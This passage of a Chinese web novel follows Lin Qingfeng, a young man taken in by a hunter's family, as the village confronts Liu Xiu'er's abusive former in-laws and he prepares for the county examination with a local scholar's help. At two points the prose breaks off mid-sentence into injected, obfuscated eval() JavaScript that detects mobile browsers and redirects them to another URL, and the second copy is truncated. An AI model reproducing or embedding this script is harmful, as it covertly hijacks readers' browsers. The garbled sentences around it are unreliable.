见林雪和林青峰都没意见,林山就站起来去找石砖砌墙去了,野猪被养在了先前养野兔野鸡的地方。 林山心情好,晚饭时自然而然就说起了林青峰读书的事,“过几天等于秀才回村了,咱们拿点糖去找于秀才问问。” 林爷爷今日去了村长家串门,他白日里就和村长提了这件事,等月末的时候带些礼物过去。 说完了这件事,林爷爷复又说起了城里的粮价问题。前几日林青峰他们在镇上听到的消息果然是准确的,今日粮价已经掉了一文,好在村里的各家在田大的提醒下早早地卖了粮去。 就是可怜了那些收粮迟的村子,官家粮税还没收的时候粮食是不能卖的。乡宁镇一共十一个村子,平阳村因为离镇子不远,粮税收的都挺早,如今镇子上还有三家村子粮税还没收。 这三家村子本就偏僻,粮食产量不如其他村子,现在粮价掉了,今年的积蓄又缩水了。 林爷爷感慨了一下种地人的难处,唏嘘了好半天。 饭桌上,林雪小声给林青峰解释道,林爷爷的兄弟已经不再打猎了,他们家就在那三个未收粮税的村子里。 林青峰了然,没有贸然出声,一家人只是默默地听着林爷爷的感叹。 11. 刘秀儿 翌日,林青峰被一阵嘈杂声吵醒,他打开屋门出去看看情况,发现院子里林雪也扶着门看向外面。 林山在院子里听了一会,披了一件薄外套走向门口,“我出去看看,小峰看着点小雪,莫要让他出门。” 此刻天还没亮,外面是嘈杂一片的人声,期间夹杂着一个女人的尖叫和男人的怒骂声。 林山推门出去了之后,家里人也睡不着了,干脆都到了院子里听着。 动静越来越大,甚至还有往林家这边来的趋势,林爷爷也坐不住了,他听出了村长还有村里几位老人的声音,他对林青峰说,“我也去看看,小峰一会把门插上,莫要开门。” 林雪紧张地捏着衣角,“爷爷,小心些。” “晓得。”林爷爷答完,就推门出去了。 没过一会儿,外面突然爆发出一阵凄厉的哭声,“姐姐!!” 林雪瞬间就白了脸,林青峰见他反应那么大,关切地问道,“怎么了?” 林雪低着头,手不自觉地捏紧,“是刘乐儿的声音,估计是他姐姐出了什么事。” 林青峰不知道刘乐儿是谁,结合着方才那年幼的声音,他以为是林雪的朋友,“别怕,林叔和爷爷都过去了,不会有事的。” 只是一家人等到了天光大亮,林山和林爷爷也没回来。外面的声音渐渐平息了,接着有了村民们日常活动的声音。 林青峰看家里的林雪和林阿爷都已经坐不住了,就打开门看了看。外面比平时热闹多了,好几家的妇人正凑在一堆闲聊。 林雪再也坐不住,想要出去去问问情况。刚走到院门口,就看见隔壁田大家门打开了一条缝,田小花的脑袋探出来看了看。 田小花瞅到林雪,连忙反手将院门关上,一路小跑着过来了。 “小雪,先别过去。”田小花过来拦住了林雪。 林雪着急地握着田小花的手,问道,“你知道怎么了吗?我爹爹和爷爷说要出去看看,到现在也没回来。” “我知道我知道,咱们进去说,我爹也跟着过去了,没事的。” 林雪这才稍稍放下心来,有这么多男人跟着过去,应当不会有什么事的。 田小花进了院门,没卖关子,直接说道,“刘乐儿他姐姐的婆家来人了,说要把刘乐儿的姐姐带回去。” 林雪惊讶地说,“现在?他姐姐不是都回村四五年了吗?” 田小花:“是啊,她婆婆昨天就过来了,还带了别的人。” 刘乐儿的姐姐叫做刘秀儿,六年前嫁到了邻村,嫁过去没多久,她的小叔子跑出去玩掉到河里淹死了。又过了半年左右,她丈夫去府州送货,回来的路上遇到了土匪叫人给杀了。 她婆婆自那之后就恨她入骨,非说是刘秀儿克死了她的两个孩子。再加上刘秀儿过门大半年了,也没能给她死去的二儿子留后,她婆婆动辄就打骂她,罚她下跪。 后来她婆婆一家被大儿子接去了镇上生活,刘秀儿就被独自抛弃在了邻村。刘家听说了这件事,大骂对方是畜生,去邻村将刘秀儿接了回来。 田小花叹道,“你这几日都没出门,都不知道昨天她婆婆回来的时候好大的排场,她可是坐着马车回来的。” “昨天过来的时候逢人就说她大儿子有出息,在镇上的酒楼给人家当账房先生,是过来接弟媳过去一块享福的。” 林雪表示不信,“这么几年都一点来往都没有,偏偏现在过来接?” 田小花说,“可不是吗,我们都看出来她家心里有鬼了,刘乐儿家肯定也看出来了。昨天下午他们家就闹过一次,但动静没那么大。” 林雪问:“那今天早上是怎么回事?” “我也不大清楚,我爹不让我出去看,他自己出去了。但之后又回来说他和村长一起去镇上报官了,刘乐儿她姐姐被那家人打伤了。” “这、这是强抢了?”林雪惊讶地问道。 “我不好说,不过你别担心。今天村里不少男人都一块去了,不会有事的。” “嗯。” 田小花突然凑到林雪面前,笑嘻嘻地看着他,“你这几天怎么不去找我玩,我还等你一块做衣裳呢。” 林雪不好意思说这几天听林青峰讲故事听入迷了,尴尬地岔开话题道,“你就知道玩,过几日就立冬了你晓不晓得,我那件袄子都要做一半了,你还不抓紧。” 田小花撅着嘴,赖在石桌上不起来,“你又这样,说不过我就找借口。再说了,你不和我一块做,我那衣服怎么做的完。” 林雪快被他尴尬死了,方才林青峰听说爹爹和爷爷没事,就自觉地去厨房帮林阿爷做早饭去了,这会刚好端着稀饭从厨房出来。 不知道刚才田小花这么没形象地趴在桌子上有没有被林青峰看到。 “你,你莫要撒娇了……早饭吃了没有,我阿爷做好早饭了。” 田小花一骨碌爬起来,“还没,早上那会也没心情吃早饭呢。” 林阿爷见两人聊的差不多了,就招呼田小花,“小花,去将你娘和弟弟喊来一块吃,阿爷今早做的多。” 田小花应了一声,跑回家去喊人了,没一会儿,田小花自己苦着脸回来了,手上还端了一碗咸菜。 “我娘说她的早饭也快做好了,就不过来吃了,叫我把这个拿来,这是我娘自己腌的咸菜。” 林爷爷笑道,“你娘就是太客气了,过来一块吃吧。” 今天早上的早饭做的匆忙,林阿爷就拿玉米面下了一锅稀饭,又蒸了几个宣软的大馒头。拿家里熏的鸡炒了一锅辣辣的青椒鸡丁,又拌了一碗酸豆角,再配上田小花拿来的咸菜,四个人吃的肚皮溜圆。 吃完饭,田小花拍着肚皮满足地说,“林阿爷做的饭真是太好吃了,不管吃多久都不会腻。” 林雪吃的不多,他饭量一向都很小,看田小花这副样子嫌弃极了,“快点坐好,怎么没个哥儿的样子。” “哥儿是什么样子?你这样吗?” 林青峰看着林雪同田小花打闹,有田小花在,林雪也会显得更孩子气一些。 平时的林雪太懂事了,完全不像一个十五岁的少年。 林山和林爷爷一直到了下午才回来,回来时两人的脸上都很凝重。 他们白天几乎都没吃什么东西,到家后林阿爷给他们下了两碗面疙瘩汤,两人呼噜呼噜吃饱了,才有余裕讲起早上发生的事。 刘秀儿的婆婆唤作刘翠芳,和刘秀儿还能稍微沾上点亲戚关系。当初刘家把刘秀儿嫁到隔壁村 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村长和几位村里的老人做主先将刘秀儿送去看大夫,刘家见刘秀儿受了伤怒极了,要将刘翠芳告到官老爷那,一行人又扭送了刘翠芳去了官府。 结果刘翠芳到了官府就开始哭诉,说自己只是不忍心自己的儿媳妇在村里过苦日子,想带她到镇上生活罢了。 镇上的县令查了平阳村和刘翠芳村子的户籍登记,又唤了在镇上当账房的刘翠芳的大儿子赵文过来,一番审问后判了刘翠芳五个大板,由其子赵文代受。 而刘秀儿,虽然她与刘翠芳的二儿子赵洪夫妻关系并未断绝,但五年前赵家的做法虽无抛弃之名但有抛弃之实,等刘秀儿醒后可以按其意愿是否与赵家断绝关系。 林雪听到这儿,送了一口气,“还好,秀儿姐在村里能好好过日子,要真的去了赵家还不被折磨死了。” 林山皱着眉,“也不知道那个赵家打的什么坏主意。” 林雪没说话,他也不清楚赵家突然要来接人是为了什么。 说完了早上遇到的糟心事,林山看向林青峰,“今天从衙门出来的时候遇到于秀才了,他听说村长去了衙门便向夫子请了一天的假。如今正在村里,明天一早我们带些糖去拜访一下于秀才吧。” 林青峰答应着,心想等会要将毛笔墨水拿出来练练字了,不然明天过去的时候连自己识不识字都说不清可就闹了笑话了,至少得带一张大字过去吧。 于秀才平时都在镇上的乡学里读书,也不是要开门收弟子的夫子,要是自己连字也不会写便去问如何考秀才,怕是只会让人觉得不自量力。 林青峰又陪着林山说了会话,就把屋里的毛笔和宣纸拿了出来。在正堂的饭桌伤摆好,倒了一点水在砚台里磨墨。 东西都准备好了之后,林青峰打算趁着天还没黑,多练几张。 他深吸一口气,悬着臂稳稳地在纸上落下一笔。林青峰上一世没有学过毛笔字,但他练过不短时间的硬笔书法,如今毛笔字写的虽然不如硬笔字好,但也不算很差,多练习几张一定会写的越来越好。 林青峰花了半个下午的时间,写了两张大字,感觉练的差不多了才将纸裁成与普通书籍差不多的大小,照着买来的书,端端正正地抄了一页,预备明天一块带着。 12. 考秀才难啊 于秀才是平阳村东面的临水村的人,他与村长一家关系甚好,今日他原本是要早早地回乡学中去的,但听岳父说了林青峰的事,又多留了半天。 林山一大早就起来准备带给于秀才的礼,村长与村里家家户户关系都不错,家里也不缺钱,像拜夫子一样带着银子去估计村长是不会收的。 林山在家里翻找了一番,挑了一只熏鸡,一只熏兔,拿油纸包了起来,又在还没来的及卖的皮子里挑了两块好看的兔皮带上,他在心里估量了一下这个礼,觉得还是轻了。 林山溜达着去了堂屋,打算看看还有没有什么东西可带的。 到了堂屋,林山看见堂屋里吃饭的桌上放了一块糖,一捧饴糖,还有一小堆红枣,林雪正在将这几样用油纸包起来,看见林山背着手溜达过来,疑惑地说,“爹?” 林山点点他面前的糖,“准备带给于秀才的?” “嗯,咱家还有些肉,等会也带上就差不多了。” 林山估计了一下,加上这些糖和红枣确实差不多了,现在糖和红枣都是稀罕物,村里人走亲戚带的也不过就这些。 林山在屋里找了个篮子,将东西都放进去。肉放在最下面,糖和红枣放在中间,最后拿兽皮一盖,这么一篮子的礼物就备好了。 林青峰换了一身干净的褂子,将昨天写的字带上,就同林山一起出了门。 这会大约是早上的八点左右,村里家家户户也都吃过了早饭,林青峰一路上看见不少端着木盆的妇人哥儿。 有的看见了林山,打招呼道,“林猎户,这是打算去哪啊?” “去找村长办点事。” 那人看见了提着篮子的林青峰,问道,“这就是你家新来的小子?看着就很精神嘛。” 林青峰来了近一个月,不是在养伤,就是和林山去上山打猎,再不然就是留在家里看书,村里不少人都还没见过林青峰。 林山闻言哈哈一笑,拍了拍林青峰的肩膀,“是啊,他叫林青峰。小峰,这是你钱阿嫂,她家就住在村北头。” 林青峰乖巧道,“钱阿嫂。” 钱阿嫂捧着脸呵呵笑道,“哎呦,这小子说话慢声细语的,一看就是个读书人的样子。” 林山笑笑没说话,转而问起她,“你这是要去洗衣服?我见不少人都往河边去了,别再去迟了没位置了。” “哎,”钱阿嫂才想起来,赶紧端好手里的木盆,“不和你们聊了,我要赶紧过去了。” 钱阿嫂端着木盆到了平日里洗衣服的小河边,刚一放下,就有人笑道,“我方才就看见你端着盆出来,怎的比我慢这么多。” 钱阿嫂横了那人一眼,“我就路上略略站了那么一会,能比你慢多少?” 一旁有人插嘴道,“我远远地看了一眼,跟你说话的是林猎户吧,还有一个是谁,看着面生啊。” 钱阿嫂:“是他家新来的那个小子,说是叫林青峰,听名字不像是我们村里的。” “田大嫂,你家小花不是和林雪处的好吗?他知不知道那个小子是哪来的?” 田大嫂向来是不怎么掺和村里这些八卦的,突然被问起,也只是含糊地说,“我也不大清楚,许是林猎户亲戚家的吧,他们不是都姓林吗。” 额,有点道理,但又好像不太对。 “可我那天听林雪说,那人是林猎户从山上救的。” 说话的是王多多,昨天刘乐儿家里出了那事,他就没去找刘乐儿,跟着他阿爹一块来河边洗衣裳了。 田阿嫂抬眼看了他一下,“救的就不能是亲戚了吗?林猎户本就是山南边那村子里搬来的。” 她说的这样笃定,倒是让众人都信了几分。 是啊,如果不是亲戚,谁会对一个别人家的小孩那么好呢,连之前去镇子上都是带着一块去的。 大家被自己的推测说服了,林猎户家只有个病怏怏的哥儿,找个亲戚家的小孩过来学打猎也是情理之中。 可王多多还是觉得不像,他那天见过林青峰一次,林青峰在田小花家搬粮食。那脸上挂着汗珠的样子比他见过的所有汉子都要好看,最重要的是,他长的和那个装模作样的林雪一点也不像。 但王多多不打算说出来,他对自己的未来有详细的规划,至少也要嫁个和村里其他哥儿都不一样的汉子。 王多多心里其实是看不起村里的汉子的,他们一个个长得歪瓜裂枣,也不知道疼人,就是嫁过去了,也要变成天天伺候人的黄脸哥儿。他可是听说林雪在家里是什么都不做的,至少自己以后的生活要比那个病秧子过的好吧。 那边林青峰和林山两人到了村长家门口,林山敲了敲门,来开门的是村长家的大儿媳。 “昨天公公就同我说你们会过来,快些进来吧,公公和于秀才在屋里聊闲呢。” 林青峰颔首,“打扰了。” 于秀才昨天听说有人想要考学,再仔细一问,这人正好是他那日见过的小少年,他本就对林青峰印象不错,觉得他的气质很像是读书人的气质,温文尔雅的,很是稳重。 他想象了一下若是自己受伤醒来后什么也不记得了,估计也很难能做到林青峰那样的冷静。 于秀才看着林青峰进到堂屋,并不像村里其他人那般对着他点头哈腰的,而是很不卑不亢地向他拱了拱手,打了声招呼。 “我听闻你想要考学,可是记起来什么了?” 林青峰默然,“没有,并没想起什么,只是想给家里减轻些负担。我既然是识字的,若是能考上功名家里也能更有底气些。” 于秀才听了心里更是赞赏,这是一个知恩图报的。 于秀才自己就是老丈人供上秀才的,他考上功名以后,感念于妻子和老丈人全心全意的支持,一直都尽自己最大的努力回报岳父一家。因此,他对于知恩图报的林青峰感官甚好。 反而是官学里一些年龄稍大的秀才,自得了秀才的身份之后就仿佛已经同常人不是一个世界的人了,每日睁眼看着家中老父母的幸苦,嘴里说的却是的为国家效力不沾俗事。 为国效力也不影响你照顾家人。 “的确,你有了秀才之身,也能更好的回报家人。”于秀才赞同道,既然已肯定了林青峰考学的目标,那下面就要考教一些学识了。 “你可看了考学的书,学的怎么样了?” 林青峰将自己昨日写的字拿出来,又拿出那天在镇上买的经文句集注,“我尚还不知从何处看起,只是那天在镇上买了这本书,只略略地看了一些。” 于秀才先是接过他写的大字,这上面抄了一句“文明以健,中正而应,君子之正也。”,旁边用稍小一号的字体写了一些他对于这句话的简单理解。 于秀才大致看了一下,林青峰的解释并无什么不对之处,写出来的字体也苍劲有力,隐隐给人一种锋锐之感。 于秀才叹道,“你果真不是常人能比的,我在十六岁的年纪,是写不出这样的字的。” 表面上是夸写的字,实际上是在赞叹林青峰的学识。若他并没有失忆,一定是哪个大家族里捧在手心的小辈吧。 林青峰接了这个夸奖,略有心虚:你想多了,我十六岁也写不出来。 于秀才压下这张纸,“你原来的身份暂时找不回来,若要参加科举,就得重新从童生试开始参加。” “童生试在每年的二月份,离现在还有大约三个月的时间,年后县衙就会张贴童生试的公告,你到时候去礼房报名即可。” “报名时需要填‘亲供’,还需要禀生的证明,你的户籍如今是落在林家,只填他们家的就好。证明的话,你报名前来找我一次,我将证明写给你。” 其他的参加童生考试的人大多是由夫子提供,证明所言情况属实。 “县级的童生试需考四场,第一场考四书文两篇,五言六韵试帖诗一首,只要文字通顺就可通过进入下一场考试。” “第二场初复,考四书文一篇,五言六韵试帖诗一首,文字低劣者淘汰。第三场再复,考策论一篇,律赋一篇,若是通过便能参加最后一场连复试。” “最后一场考经文和诗赋,若是通过便能进入院考。” 林青峰:………… 院考?还要考? 于秀才叹道,“要想考到‘秀才’之身,至少要经过两次七场考试,每场都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14425461|153692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过方能取得功名。” 言下之意是考秀才也很不容易了。 “第二次的院考在四月份,只考贴经、杂文和策论三场,若是能通过考试,那便是考上了‘秀才’功名。” 于秀才出言安慰道,“你今年可以去试一试水,哪怕是不过也无妨,明年准备的时间长了一些,便容易通过了。” 林青峰叹口气,不管是在哪里的考试,都不是容易的啊。 “于先生,我在林叔家中生活,已是给他添了许多的麻烦,实在不好开口去买那许多的书了,不知能否从您这里借几本回去眷抄一下。” “自然可以,”于秀才当年也是这么一点点借了夫子和书铺里的书抄的,“我家里有前几年用的《四书》,一会你随我回去一趟,我拿给你。之后每逢‘五’日,你都可去镇上的乡学找我,拿两本书回来换着抄。” 说完,于秀才提醒林青峰,“哪怕今年只是打算试试水也不可随意松懈,若是因为懒惰尚未看完书籍便去参加考试,也只是浪费时间,并不能提高自己。” 林青峰点头,“我省得,多谢于先生。” 于秀才摆摆手,“你同其他人一样唤我于秀才便是,我并未教你什么,当不得这个‘先生’。” 说完了最重要的事,于秀才也不再寒暄,直接问道,“你可还有什么事要问的?若是没有,那就随我一同去家里取书吧。” 林青峰说,“没有什么别的了,于秀才讲的已经很是清楚。” 两人出了正屋,见到村长同林山在院墙下面对面站着聊天。 于秀才上前对村长一拱手,“岳父,女婿今天就不再多留了,我带林青峰去家里取几本书便回镇上去了。” 村长点点头,对林山说道,“你同小峰一起去吧,东西也带给小梅便好。” 平小梅是村长的女儿,如今嫁到了邻村同于秀才的娘亲住在一起。 林山提起带来的篮子,“那我就不打扰村长了,过几日若是得了空一定得来我家喝酒。” 村长点点头,将他们几人送到门口,目送他们往东面的临水村走去。 从平阳村走到临水村,再拿了书回来,这么一来一回用来将近两个时辰,等回到家中晌午都已经过了。 林青峰在于秀才家中拿了完整的四册“四书”,还有一叠于秀才给的手稿。 当时于秀才回了家里,叫妻子给林山和林青峰两人上了杯茶,让他们等等再走。过了有约莫二十分钟左右,于秀才便拿着这几张手稿出来。 “这是三年来童生试的试题,我还记得的都在这里了,你看完了书可以试着做一做。” 林青峰懂了,往年真题嘛这不是。 古代的科举考试内容太过宽泛,哪怕知道是哪几本书里的内容也不一定就能掌握考试范围。而有了往年真题就不一样了,通过往年真题就能多少看出一些出题人的命题倾向,对于他这种只有三个月速成的学生来说,往年真题是不可或缺的。 本来林青峰心里还有些没底,越是知道科举考试的内容他越是担心,和那些从十多岁就开始启蒙,学了至少五六年时间的‘童生’相比,留给他做准备的时间实在是太短了。 但现在有了这份‘往年真题’,说不定还能拼一把。 于秀才没想到林青峰真的这么猛,打算明年二月就通过考试,他给这份历年的童生试题只是想结个善缘:林青峰看起来就与村里人的气质不大一样,若真的能考过童生试,以后会一起参加乡试也说不定。 拿到了于秀才给的书,林青峰白日里便在院中读书抄书,晚上睡前默背白天所学的内容,拿出了他当年考建筑工程师时的拼劲努力啃着这四本书。 林山看着林青峰在家里不是抄书就是背书,吓得连柴都不让他劈了。还是林青峰自己劝说他劈柴是放松心情的,他才将信将疑地放手让林青峰劈。 就这么每日每夜地背了一个星期,四本书竟是让他背完了。毕竟四书加起来也才五万四千字左右,又都是汉语,背还是背的下来的。 背完了这四本书,林青峰揉了揉发胀的太阳穴,打算让自己歇上一天,适度的休息有利于提高学习效率。 13. 你们两小无猜…… 这天一…… 这天一早,林青峰起床之后没有拿着书读,而是难得的趁着早凉在院子里活动了一下。他见家里的水缸里水不多了,又从院子里的井里给水缸打满了水。 林阿爷早上也起来给一家人做早餐,见到林青峰拎着水桶打水,笑着说,“好久没看到你在院子里活动了。” 这一个星期以来林青峰可谓是心无旁骛,早上天一亮就起来站在屋檐下背书,吃完早饭了就默默地坐在院子里看书,下午他独自一人在屋里写字。林家众人被他这紧张的气氛所感染,做事说话都尽量小声,以防打扰到林青峰读书。 林青峰将桶里的水倒到厨房门边的水缸里,“这几天读的累了,有点头晕,今天歇息一天,明日再读。” 林阿爷点点头,“哪怕是读书也要注意休息,我听闻那些夫子们一考试就是考两三天,若是身体不好,连着考那么长时间怕是也坚持不久。” 林阿爷没有读过书,不清楚参加考试的不是夫子,而是学生,在他看来,读上了书的都可以被称作夫子。 林青峰打完了水,活动了一下筋骨,只觉得浑身神清气爽,他见林阿爷准备做早饭了便说,“阿爷,我陪您一起做早饭吧。” 林阿爷笑道,“没事,早上的饭简单,没啥需要帮的。” 林青峰:“那我帮您烧火吧。” 林阿爷笑道,“行,那烧火就交给你了。” 今天的早饭林阿爷打算做的稍微丰盛些,他去了放粮食的杂物房,舀了一碗精米出来,淘洗干净,打算一会熬米粥喝。他指导林青峰用小火慢慢地熬米粥,米粥要等米里的米油熬出来才会香,才更好喝。 林家的灶台旁用红砖砌了一个多出来的台子,林阿爷就在这台子上切萝卜。洗干净的白萝卜再他手下被切成细细的丝,再一块放进洗干净的碟子里码上,接着再往上面浇一碗调好的醋汁,滴一点点芝麻油,一叠清香爽口的拌萝卜丝就做好了。 外面林雪他们也都起来了,听到他们洗漱的动静,林阿爷把蒸屉架到锅上,放上先前包好的馒头。 林阿爷在围裙上擦了擦手,问林青峰,“小峰吃不吃豆角?再拌个豆角吃吃吧。” 林青峰答道,“我都行,我不挑食。” 林阿爷笑呵呵地应了,转去院里摘了一把豆角回来,洗干净后切成段,叫林青峰用旁边那口锅再烧点开水,将豆角烫一下。 不管是熬米粥还是烧水,对火候的要求都不大,林青峰一人看着两个灶台也完全管的过来。 他一边看着灶膛里跳动的火苗,一边在心里考虑着日后的生计问题。 虽然现在他连童生都还没考上,但他还是有自信能考上秀才的,这只是时间问题罢了。但要是考上了功名,他就得去镇上的乡学里读书:秀才倒是有可能自学考上,举人是没可能自己看看书就能搞定的。 若是去了乡学里读书,难道要和于秀才一般直接住在乡学里吗? 林青峰私心里是想叫林家同他一块去的,但林家是干猎户的,去了镇上还怎么干猎户的活? 林青峰心里想着事,手倒也没停,土灶的火候大烧饭也很快,这会锅里已经传来了米粥的香味了。 林阿爷搬过蒸屉,用炒勺在里面搅拌了一下,“马上就好了,可以不添柴了。” 等米粥熬好了,林青峰和林阿爷一起将早饭盛好端了出去,饭桌上林青峰问林山今天还要不要去山上。 林山摇摇头,“今天要去临水村杀猪,中午就不回来吃了,你要是得空,就去山上笼子里看看有没有兔子。” 林雪突然说道,“爹,我今天想去山上看看有没有木耳菜。” 林山皱着眉想了想,“要不叫小峰和你一起去?正好路上也能割些猪草回来。” 如今家中养了一只野猪崽,每天林山都要上山去给这只野猪割猪草来喂。 林雪说:“我和小花约好一块去的。” “那也不影响小峰跟着,你们两个哥儿单独去山上多危险。” 这其实是关心则乱了,村里的其他哥儿也有去山上摘野果或是捡栗子的。 林雪瘪瘪嘴,无奈地同意了,他和田小花单独去还可以听听八卦,林青峰也跟着他就听不了了。 饭后,林山嘱咐林雪莫要单独再出门,他先去杀猪去了。 林山一走,林雪就找到林青峰,他有些不好意思地说道,“小峰哥,一会你去看看爹下的笼子吧,我和小花就在山路旁转转,不会去山里的。” 林青峰忍不住逗他,他假惺惺地叹道,“这样啊,原来小雪一点也不想和我一起,我知道了,一会陪你们到山脚我就走了,不会打扰你们的。” 林雪着急地解释,“不是的,我是说…恩…你上山去还有正事嘛,不好跟着我们两个走的,我们走的很慢…会耽误你。” 林青峰:“我知道的,你们从小一起长大,中间自然容不下我这个‘别人’。” 林雪:………… 这话听着好奇怪! 他脸红红的,瞪了他一眼,“我不是!你要跟就跟着好了。” 说完就甩手走了。 林青峰有些无奈,他只是想逗一逗林雪,看看他活泼的样子,现在看来下次可不能这么逗了。 他拿了背篓走到林雪窗户底下,好声好气地哄着,“小雪,我刚刚是逗你的。一会我陪你俩走到地方,我就去看看笼子,等你们采完了我再回来。” 屋里传来林雪闷闷的声音,“随你。” 林青峰:“那我就去门口等你了,你收拾好了就过来吧。” 说完林青峰就背着背篓出了院门,在院子外面等着。 等了没几分钟,就遇到了上次见过的钱阿嫂,钱阿嫂也隔了老远就看见他了。 “这不是林猎户家的小子嘛,这会是要上山?” “钱阿嫂啊,我陪小雪去山上找点木耳菜。” “奥奥,”钱阿嫂答应着,“这会的木耳菜是最好吃的,你陪着小雪去也能帮着拿拿东西,挺好的。” “阿嫂就不跟你多聊了,我从临水村的大夫那里拿了药,我就先回去了。” 林青峰点头,“钱阿嫂回见。” 钱阿嫂路过了林雪家,往村里自己家的方向走去。 村里路上有人瞧见了她,“钱阿嫂,你怎的这时候从那边过来?” 钱阿嫂叹口气,“哎,还不是我家那小孙子闹得,昨天突然起了藓子,哭了大半夜,我今天天一亮就去孙大夫那儿拿药膏去了。” 那人回她,“涂了药膏就好了,我家小的以前起藓子就是从孙大夫那儿拿的药,好用的。” 许是手里有药了,钱阿嫂心里也不那么焦急了,还与她略多聊了两句,“我方才回来的时候瞧见那个林青峰了,他在等林雪一块上山摘木耳菜呢。” “林青峰是哪个?” “哎呀,就是林猎户家那个小子啊。我原以为他是后来的,怕是和林雪处不好呢。” 那人恍然大悟,“原来是他啊,不是说他和林猎户也是亲戚吗?既能来这儿学打猎,那应当是能和林雪处的来的。” 钱阿嫂一想也是,“嗨,也是哈。我就是看林雪对谁都冷冷清清的,还以为他俩处不来呢……哎,不聊了,我要赶快回去了。” “去吧去吧。”那人看着钱阿嫂往她家的方向走,伸了个懒腰,也打算回屋去了。 还没踏进门槛呢,就被人喊住了,“平大娘,你方才和钱阿嫂说的是谁啊?” 平大娘回头一瞧,发现是住在隔壁的王多多,“我俩在说林猎户家那个小子呢,他今天要和林雪去摘木耳菜。怎地,你也要去吗?” 王多多眼珠子一转,“我也不知道,刘乐儿去我就去。” 平大娘摇摇头,没管他,自己进门去了。 王多多看她走了,连忙回屋找了个篮子出来,又特地换了身鲜亮的衣裳,“阿爹,我和刘乐儿去山上摘点菌子。” 说完,一阵风似的跑出了院门。 王多多来到刘乐儿家,之前他都没来找刘乐儿,一直到村里没人提刘乐儿他姐姐的事了,他才来过一趟。 王多多什么事情都分的很清楚,他和刘乐儿关系好是不假,但刘乐儿的姐姐名声不好,正在风口浪尖上时他要是过去找刘乐儿,保不准他王多多的名声也要受影响。 等刘乐儿家的事平息了他再过来,他们一样还是好朋友。 王多多到了刘乐儿家门口,见他家门只是掩着,便直接推门进去了,“乐哥儿在吗?” 刘乐儿的娘亲正在院里刷碗,抬头看见是王多多,说道,“是多多啊,乐哥儿在里屋呢,你去找他玩吧。” 王多多进了里屋,见刘乐儿坐在窗户底下皱着眉补衣服,他走过去坐在刘乐儿旁边,“乐哥儿,今天要不要去摘点菌子?” 刘乐儿方才就听到王多多进门了,但他没什么心情出去玩。 他姐姐刘秀儿那天在医馆醒来后,立刻找官老爷开了一份和赵洪断绝关系的契书。这下赵家没理由把刘秀儿带走了,可刘翠芳听说刘秀儿要和她家断绝关系,还特地找过来骂了很多很难听的话。 刘乐儿气不过,当场就要和刘翠芳对着骂,但是刘秀儿拉住了他,不让他出声。刘翠芳骂了半天,骂到她自己消气了才“呸”了一口走了。 之后刘乐儿问他姐姐为什么不让他说话:“咱们又没做错,做什么要让她骂?再说了,我也不怕她,要是让我跟她骂,我肯定骂得过她。” 刘秀儿只是摸了摸他的头,小声地说,“骂不骂得过她又有什么影响呢,姐姐名声已经坏了,若是你和她对骂被别人听到了,你还怎么说人家?” 刘乐儿本想说自己不怕说不到人,但又想到姐姐就是因为说的人不好才变得这么不爱说话,若是真的这么说了,姐姐估计只会更难过吧。 刘乐儿张了张嘴,还是没说出来。 那之后,刘秀儿就更不出门了。原来她还会拿着自己绣的东西去镇子上卖,现在连镇子都不去了,每天就坐在家里绣花,绣好了就拿给娘亲,让娘亲拿去镇上卖。 刘乐儿不想姐姐这么低沉下去,但他又不知该怎么做才好,只能每天也呆在家里陪着刘秀儿。 所以,见到王多多来找他出去摘菌子,他也提不起劲,“你自己去吧,我不想去摘菌子。” 王多多一听就知道了刘乐儿为什么不想去,他劝道,“之前村里下了场雨,算算时间,这会儿菌子长得正好,再过两天就老了。” “我知道你担心秀儿姐姐,但秀儿姐姐心情不好不就该吃些好吃的东西吗?咱们一起去摘些嫩嫩的菌子回来,做菌子汤可鲜了,秀儿姐姐喝了好喝的汤心情多少也能好一些。” 刘乐儿听了,心里一动,“是吗……可是我出去了就剩姐姐自己在家了。” 王多多不是很在意,“不是还有刘阿娘吗?她和秀儿姐姐一起在家不会有事的。” 刘乐儿想想也是,之前姐姐就劝他不用陪着自己,多出去转转,但当时刘乐儿实在是担心,还是坚持陪着她。 姐姐既然不愿意出门,他出去替姐姐买东西也是可以的。菌子汤也确实很鲜,去多摘些好吃的菌子回来,晚上正好地做一锅美美的菌子汤给姐姐喝。 想到这儿,刘乐儿同意了,“好吧,我去和姐姐说一声。” 王多多立刻站起来,拎着他自己的小篮子,“那我在外面等你。” 另一边,林青峰在院门口没等几分钟就等到了林雪,只是林雪虽然是和他一起走的,但却完全不和他说话,自顾自地走到田小花家去找田小花去了。 林青峰只能无奈地跟上。 田小花吃完早饭就在等着林雪过来了,这边林雪刚一敲门,他那边就风风火火地蹦了出来。 只是刚喊了一句“小雪”,看见门边站着的林青峰,就顿时哑火了。 “咳,林…林哥,你也要去山上啊。” 林青峰温和地回道,“我去看看之前下的笼子,送你们到地方我就走了,不用拘束。” 话是这么说,田小花还是有些尴尬,他拉着林雪走在后面,偷偷跟林雪咬耳朵,“你不是说他最近都在读书吗?怎的今天有空要一块去山上了?” 林雪冷漠道,“谁知道他怎么想的,一会我们摘我们的,不用管他。” 田小花:………… 他看着林雪的脸色,小心翼翼地说,“你们是不是吵架了?” “没有。” “他欺负你了?” 林雪:“你还走不走?” 虽然声音依旧是冷冷的,但林雪还是没憋住脸红了。 田小花砸砸嘴,好吧,估计是吵架了。 三人虽说是一块往山上走的,但林青峰独自走在前面,林雪和田小花两人走在后面。 前不久浔山附近刚下了一场秋雨,秋雨过后,天气也转凉了,浔山上的蘑菇木耳等经过那一场秋雨,也陆陆续续地冒了出来。 林青峰同他们两个走到半山腰的树林边时便打算继续往里走,他对林雪说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 